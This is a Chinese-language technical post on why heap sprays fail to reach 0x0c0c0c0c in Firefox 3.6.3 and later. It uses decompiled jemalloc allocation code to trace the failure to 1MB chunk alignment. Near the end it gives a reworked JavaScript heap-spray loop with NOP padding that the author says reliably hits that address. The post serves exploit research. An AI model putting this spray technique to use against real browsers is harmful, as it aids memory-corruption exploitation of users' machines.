关键词:堆喷射 为什么火狐3.6.3以后喷不到0c0c0c0c?
对于http://www.exploit-db.com/exploits/17974/ 这个火狐的整数溢出的poc在火狐3.6.16上面可以正常运行
但是在火狐3.6.3及其以后的版本堆喷射死活喷不到0x0c0c0c0c处。
原因有两个:
1 火狐的huge堆分配内存对齐
火狐的堆分成三类:
* |=====================================|
* | Category | Subcategory | Size |
* |=====================================|
* | Small | Tiny | 2 |
* | | | 4 |
* | | | 8 |
* | |----------------+---------|
* | | Quantum-spaced | 16 |
* | | | 32 |
* | | | 48 |
* | | | ... |
* | | | 480 |
* | | | 496 |
* | | | 512 |
* | |----------------+---------|
* | | Sub-page | 1 kB |
* | | | 2 kB |
* |=====================================|
* | Large | 4 kB |
* | | 8 kB |
* | | 12 kB |
* | | ... |
* | | 1012 kB |
* | | 1016 kB |
* | | 1020 kB |
* |=====================================|
* | Huge | 1 MB |
* | | 2 MB |
* | | 3 MB |
* | | ... |
* |=====================================|
huge堆的分配代码:
void *__cdecl malloc(unsigned int size)
{
signed int alloc_size; // esi@1
arena_s *arena; // eax@4
void *result; // eax@7
int v4; // ST08_4@9
alloc_size = size;
if ( !size )
alloc_size = 1;
if ( alloc_size > arena_maxclass ) // static size_t arena_maxclass; /* Max size class for arenas. */
{ // 000ff000
result = huge_malloc(alloc_size, v4);
}
else
{
arena = (arena_s *)TlsGetValue(tlsIndex);
if ( !arena )
arena = choose_arena_hard();
if ( alloc_size > bin_maxclass ) // static size_t bin_maxclass; /* Max size class for bins. */
result = arena_malloc_large(arena, alloc_size, 0);// 800
else
result = arena_malloc_small(arena, alloc_size, 0);
}
if ( !result )
*_errno() = 0xCu;
return result;
}
void *__usercall huge_malloc<eax>(unsigned int size<eax>, int zero)
{
unsigned int csize; // ebx@1
unsigned int v3; // esi@1
void *result; // eax@2
void *v5; // edi@3
int v6; // edi@3
void *v7; // ebp@5
int v8; // ebp@5
unsigned int v9; // esi@7
int v10; // [sp-4h] [bp-Ch]@3
v3 = size;
csize = ~chunksize_mask & (chunksize_mask + size);
if ( ~chunksize_mask & (chunksize_mask + size) )
{
v10 = v6;
result = base_node_alloc();
v5 = result;
if ( result )
{
v7 = chunk_alloc(csize, v8, v10);
if ( v7 )
{
v9 = ~pagesize_mask & (pagesize_mask + v3);
*((_DWORD *)v5 + 4) = v7;
*((_DWORD *)v5 + 5) = v9;
EnterCriticalSection(&huge_mtx);
extent_tree_ad_insert(&huge, (extent_node_s *)v5);
++huge_nmalloc;
huge_allocated += v9;
LeaveCriticalSection(&huge_mtx);
if ( csize != v9 )
VirtualFree((char *)v7 + v9, csize - v9, 0x4000u);
result = v7;
}
else
{
EnterCriticalSection(&base_mtx);
*(_DWORD *)v5 = base_nodes;
base_nodes = (extent_node_s *)v5;
LeaveCriticalSection(&base_mtx);
result = 0;
}
}
}
else
{
result = 0;
}
return result;
}
void *__usercall chunk_alloc<eax>(unsigned int size<eax>, int zero, int pagefile)
{
unsigned int v3; // edi@1
void *v4; // esi@1
int v5; // ST0C_4@1
void *result; // eax@8
v3 = size;
v4 = chunk_alloc_mmap(size, v5);
if ( v4 )
stats_chunks.curchunks += v3 / chunksize;
if ( stats_chunks.curchunks > stats_chunks.highchunks )
stats_chunks.highchunks = stats_chunks.curchunks;
if ( v4 && malloc_rtree_set(chunk_rtree, (unsigned int)v4, v4) )
{
chunk_dealloc(v4, v3);
result = 0;
}
else
{
result = v4;
}
return result;
}
void *__usercall chunk_alloc_mmap<eax>(unsigned int size<edi>, int pagefile)
{
void *result; // eax@1
void *v3; // esi@1
unsigned int v4; // ebx@2
unsigned int v5; // ebx@2
void *v6; // eax@4
unsigned int v7; // ebx@5
void *v8; // [sp-14h] [bp-1Ch]@9
unsigned int v9; // [sp-4h] [bp-Ch]@2
result = VirtualAlloc(0, size, 0x3000u, 4u);
v3 = result;
if ( result )
{
v9 = v5;
v4 = (unsigned int)result & chunksize_mask;
if ( !((unsigned int)result & chunksize_mask)
|| (pages_unmap(result, v9), (v3 = VirtualAlloc(v3 + size - v4, size, 0x3000u, 4u)) != 0) )
{
RETURN:
stats_chunks.nchunks += size / chunksize;
}
else
{
while ( 1 )
{
v6 = VirtualAlloc(0, size + chunksize, 0x3000u, 4u);
v3 = v6;
if ( !v6 )
break;
v7 = (unsigned int)v6 & chunksize_mask;
if ( !VirtualFree(v6, 0, 0x8000u) )
{
malloc_message("<jemalloc>", ": (malloc) Error in VirtualFree()\n", &p2, &p2);
if ( opt_abort )
abort();
}
if ( v7 )
v8 = (char *)v3 + chunksize - v7;
else
v8 = v3;
v3 = VirtualAlloc(v8, size, 0x3000u, 4u);
if ( v3 )
goto RETURN;
}
}
result = v3;
}
return result;
}
可以看到huge 堆是直接分配的,并未做什么限制,主要就是内存对齐
很多的利用poc都是这样写的喷射循环:
while(tr_padding.length < 0x80000) {tr_padding += tr_padding;}
这样写其实是有问题的,并不能分配刚好小于0x80000的内存,可能是0x80000*2的内存,而由于内存对齐的缘故,
每次分配都是0x100000大小的内存对齐,如从0x0b000000开始分配,每次分配0xFFFFF的大小内存就会是这样的
内存分配:0x0b000000 0x0b100000 0x0b200000 0x0b300000 0x0b400000 .......每次递增0x100000
但是要是每次分配不止0x100000,则可能每次分配的内存之间间隙就会过大,很有可能就不好分配占据0x0c0c0c0c
这个地址。
这样的写法貌似可以每次递增0x100000的分配内存
var container = new Array();
var padd1 = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
var big =padd1;
var totallen=0x100000-padd1.length*2;
while (big.length < totallen/2)
{
big += padd1;
}
这样我测试在xp下 火狐3.6.3每次都可以喷到0x0c0c0c0c处。
2 这个poc利用了java来过rop,引用后,火狐在对喷射之前就已经占据了0x0cxxxxxx部分内存,导致不会从这里开始
分配大块内存,可能从0x0e000000 0x0e100000 ....0x0f000000处开始分配。